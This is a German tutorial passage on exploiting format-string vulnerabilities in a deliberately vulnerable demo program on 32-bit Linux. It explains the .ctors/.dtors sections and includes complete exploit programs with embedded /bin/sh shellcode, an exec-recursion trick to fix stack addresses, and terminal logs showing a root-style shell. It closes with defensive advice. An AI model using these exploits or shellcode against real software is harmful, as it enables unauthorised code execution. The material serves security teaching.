Wenn ein Programm mit gcc kompiliert wird, findet man nachher im Programm sowohl einen Konstruktor (.ctors-Section) als auch einen Destruktor (.dtors-Section). Diese Sections enthalten Zeiger auf Unterprogramme, die vor bzw. nach dem main-Programm ausgeführt werden:

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
Unser kleines Programm zeigt den Mechanismus:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Diese Sections haben beiden denselben Aufbau:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............    
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............
Wir sehen, dass jeweils das dritte WORD (in little endian) die Adresse unseres Unterprogramms (start und end) ist:
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Die Sections beinhalten also die Adressen, eingerahmt in 0xffffffff und 0x00000000.

Nun wenden wir das auf unser vuln-Programm an, wobei wir einen Format-String einsetzen. Zuerst benötigen wir die Adressen, unter denen die Sections im Speicher stehen. Das ist wirklich leicht, da wir das Binary haben ;-). Wir setzen einfach wie eben objdump ein:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........        
Da isses! Wir haben alles was wir brauchen.

Das Ziel des Exploits besteht darin, die Adresse eines Unterprogramms in einer der Sections durch die des Unterprogramms zu ersetzen, das wir starten wollen. Wenn die Sections leer sind, überschreiben wir einfach die Endemarke der Sections (0x00000000). Das erzeugt später einen segmentation fault, da das Programm seinen 0x00000000 Marker nicht findet, und den nächsten Wert als Zeiger auf ein Unterprogramm wertet, was nicht unbedingt zutrifft.

Eigentlich ist der einzig interessante Abschnitt der destructor (.dtors): Wir haben keine Zeit irgendetwas von dem Constructor (.ctors) zu machen. Normalerweise ist es genug, die Adresse 4 Bytes nach dem Start des Abschnittes 0xffffffff zu setzen:



Nun zurück zu unserem Beispiel. Wir ersetzten 0x00000000 im Abschnitt .dtors und plazierten dort 0x8049848=0x8049844+4 mit der Adresse der accesForbidden() Funktion, die wir schon kennen (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)
Alles läuft wunderbar: erst main() dann helloWorld() und exit. Der Destructor wird aufgerufen und der Abschnitt .dtors fängt mit der Adresse von accesForbidden() an. Da es dort keine richtige andere Adresse einer Funktion gibt, erhält man den erwarteten Coredump.

Eine Shell bitte

Das war eine einfache Ausnutzung eines Sicherheitslochs. Nach dem gleichen Prinzip kann man eine Shell erhalten. Man kann den Shellcode entweder über argv[] oder über eine Umgebungsvariable übergeben. Wir müssen nur die richtige Adresse setzen (z.B die Adresse der eggshell) im Abschnitt .dtors.

Bis jetzt wissen wir:

In der Realität ist das verletzbare Programm oft nicht so einfach und sympatisch wie unser Beispiel. Wir benutzen daher eine neue Methode, die es uns erlaubt, den Shellcode in den Speicher zu schreiben und dann seine exakte Adresse zu finden (das heißt keine NOPs mehr am Anfang des Shellcodes).

Die Idee basiert auf rekursiven Aufrufen der Funktion exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}
Die Eingabe ist ein nb Integer und das Programm wird sich nb+1 mal rekursiv aufrufen:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Wir erkennen sofort, daß die Adressen von arg und argv nach dem zweiten Aufruf sich nicht mehr verändern. Wir benutzen genau diese Eigenschaft für unseren Angriff. Wir müssen nur unser build Programm leicht modifizieren, so daß es sich selbst aufruft, bevor es vuln aufruft. Auf diese Weise erhalten wir die genaue Adresse von argv und unserem Shellcode:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}

int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Der Trick ist, daß wir wissen, was wir aufrufen müssen gemäß der Anzahl der Argumente, die unser Progamm erhält. Um unseren Angriff zu starten, geben wir build2 die Adresse und den Offset, wo wir schreiben wollen.

Um zum Erfolg zu kommen, müssen wir das genau gleiche Memory Layout zwischen den verschiedenen Aufrufen zu build2 und vuln behalten:

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿00000000000000000
000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Warum hat das nicht funktioniert? Wir haben gesagt, wir müssen die exakte Kopie des Memory Layouts zwischen den zwei Aufrufen einhalten ... und wir haben es nicht getan! argv[0] (der Name des Programms) hat sich geändert. Unser Programm heißt zuerst build2 (6 bytes) und dann vuln (4 bytes). Es ist ein Unterschied von 2 Bytes, was genau der Wert ist, den man im vorherigen Beispiel sehen kann. Die Adresse des Shellcodes während des zweiten Aufrufes von build2 ist durch sc=0xbffff88f gegeben, aber die Anzeige von vuln in argv[2] ergibt 20xbffff891: unsere 2 Bytes. Um das zu lösen, ist es genug, unser build2 in bui2 (nur 4 Bytes) umzubenenen:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$ 

Wieder gewonnen: jetzt funktioniert es viel besser ;-) Die eggshell ist im Stack und wir haben die Adresse, auf die ptrf zeigt auf unseren Shellcode zeigen lassen. Natürlich funktioniert das nur, wenn der Stack ausführbar ist.

Wir haben jedoch gesehen, daß man mit Formatstrings überall schreiben kann. Laß uns einen Destructor für unser Programm im Abschnitt .dtors hinzufügen:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 80498c0 ffffffff 00000000                    ........        
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Hier gibt es keinen coredump beim Beenden unseres Destructors. Das ist, weil unser Shellcode ein exit(0) enthält.

Zum Abschluß noch ein kleines Geschenk. Hier ist build3.c, das auch zu einer Shell führt, aber es kann über eine Umgebungsvariable eingeführt werden:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Même fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}

Nochmal zur Erinnerung: Da die Umgebungsvariablen im Stack liegen, müssen wir darauf achten, nicht den Speicher zu modifizieren.

Hier benutzen wir die globale Variable extern char **environ um die Werte zu setzen, die wir brauchen:

  1. environ[0]: enthält den Shellcode;
  2. environ[1]: enthält die Adresse, in die wir schreiben wollen
  3. environ[2]: enthält den Offset.

Schlßfolgerung : Wie vermeidet man format Fehler ?

Wie wir in diesem Artikel gesehen haben, entsteht das Hauptproblem durch die Freiheit des Benutzers seinen eigenen Formatstring zu bauen. Die Lösung ist ganz einfach: Schreibe niemals ein Programm, das es dem Benutzer erlaubt, seinen eigenen Formatstring zu bauen! In den meisten Fällen fügt man einfach ein "%s" ein, wenn Funktionen wie printf(), syslog(), ..., aufgerufen werden. Falls man es überhaupt nicht vermeiden kann, dann muß man die Eingabe des Benutzers genau prüfen.

Danksagung

Die Autoren danken Pascal Kalou Bouchareine für seine Geduld Er hat herausgefunden, warum unser Angriff nicht funktioniert hat. Seine Ideen (der exec*() Trick) und seine Ermutigungen haben sehr geholfen ;-)

Links


Fußnoten

... commands1
Das Wort Anweisung bezieht sich hier auf alles, was das Format eines Strings betrifft: Die Länge, Präzisionsangabe bei Zahlen, ...
... bytes2
Die -1 kommt von dem Null Character ('\0') für das Stringende.